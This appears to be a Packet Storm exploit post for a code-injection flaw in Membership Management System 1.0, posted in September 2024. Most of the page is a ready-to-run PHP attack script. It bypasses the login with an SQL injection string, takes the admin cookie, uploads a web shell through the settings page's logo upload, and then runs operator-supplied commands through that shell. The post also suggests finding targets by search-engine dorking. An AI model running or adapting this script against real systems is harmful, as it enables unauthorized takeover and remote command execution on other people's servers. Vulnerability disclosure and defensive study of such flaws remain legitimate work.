what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Membership Management System 1.0 Code Injection

Membership Management System 1.0 Code Injection
Posted Sep 17, 2024
Authored by indoushka

Membership Management System version 1.0 suffers from a remote PHP code injection vulnerability.

tags | exploit, remote, php
SHA-256 | 6e0de45243e9e524440fd167d97fbd6689974293e7f4773985cd70c38b24fe08

Membership Management System 1.0 Code Injection

Change Mirror Download
=============================================================================================================================================
| # Title : Membership Management System version 1.0 php code injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |
| # Vendor : https://codeastro.com/membership-management-system-in-php-with-source-code/ |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This payload inject php code contains a back door.

[+] Line 20 Set your Target.

[+] save payload as poc.php

[+] usage from cmd : C:\www\test>php 1.php

[+] payload :

<?php
// Function to generate a random string of a given length
function randomGen($size = 8, $chars = 'abcdefghijklmnopqrstuvwxyz') {
return substr(str_shuffle(str_repeat($chars, ceil($size / strlen($chars)))), 1, $size);
}

// Generating a random web shell file
$shellFile = randomGen() . ".php";

// Creating a payload for the login
$payload = [
'email' => "test@mail.com' or 0=0 #", // Adjust based on the target
'password' => 'a',
'login' => ''
];

$session = curl_init();

// Target base URL (change this to your target IP or domain)
$urlBase = "http://127.0.0.1/Membership/";

// Login
$url = $urlBase . "index.php";
echo "=== Executing SQL Injection ===\n";

// Set cURL options for the POST request
curl_setopt($session, CURLOPT_URL, $url);
curl_setopt($session, CURLOPT_POST, 1);
curl_setopt($session, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($session, CURLOPT_RETURNTRANSFER, true);
curl_setopt($session, CURLOPT_HEADER, true); // Include header in output
curl_setopt($session, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($session, CURLOPT_VERBOSE, true); // For debugging

// Execute the login request
$response = curl_exec($session);

// Separate headers from body
$header_size = curl_getinfo($session, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);

// Check if 'Set-Cookie' header is present in the headers
preg_match_all('/^Set-Cookie:\s*([^;]+)/mi', $headers, $matches);
$cookie = '';
if (isset($matches[1][0])) {
$cookie = $matches[1][0];
}

// Print headers for debugging
echo "=== Response Headers ===\n";
echo $headers;

if ($cookie) {
echo "=== Authenticated admin cookie: " . $cookie . " ===\n";
} else {
echo "Set-Cookie header not found in the response.\n";
exit();
}

// Prepare to upload shell
$url = $urlBase . "settings.php";

// Get user input for the command to execute
echo "Enter the command to execute: ";
$cmd_input = trim(fgets(STDIN));

// PHP code to execute the command received from the user
$php_code = "<?php if(isset(\$_REQUEST['cmd'])){\$cmd = \$_REQUEST['cmd']; system(\$cmd); die; }?>";

// Prepare the multipart/form-data
$boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));
$body = "--$boundary\r\n";
$body .= 'Content-Disposition: form-data; name="systemName"' . "\r\n\r\n";
$body .= "Membership System\r\n";
$body .= "--$boundary\r\n";
$body .= 'Content-Disposition: form-data; name="currency"' . "\r\n\r\n";
$body .= "$\r\n";
$body .= "--$boundary\r\n";
$body .= 'Content-Disposition: form-data; name="logo"; filename="' . $shellFile . '"' . "\r\n";
$body .= 'Content-Type: application/x-php' . "\r\n\r\n";
$body .= $php_code . "\r\n";
$body .= "--$boundary\r\n";
$body .= 'Content-Disposition: form-data; name="updateSettings"' . "\r\n\r\n";
$body .= "\r\n";
$body .= "--$boundary--\r\n";

// Set cURL options for file upload
curl_setopt($session, CURLOPT_URL, $url);
curl_setopt($session, CURLOPT_POST, 1);
curl_setopt($session, CURLOPT_POSTFIELDS, $body);
curl_setopt($session, CURLOPT_HTTPHEADER, [
'Content-Type: multipart/form-data; boundary=' . $boundary,
'Cookie: ' . $cookie
]);

echo "=== Logging in and uploading shell " . $shellFile . " ===\n";

// Execute the upload request
$response = curl_exec($session);

// Close cURL session
curl_close($session);

// Curl the shell for testing
$requestUrl = $urlBase . "uploads/" . $shellFile . "?cmd=" . urlencode($cmd_input);
echo "=== Issuing the command: " . $requestUrl . " ===\n";

echo "=== CURL OUTPUT ===\n";
echo file_get_contents($requestUrl);
?>

[+]

Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close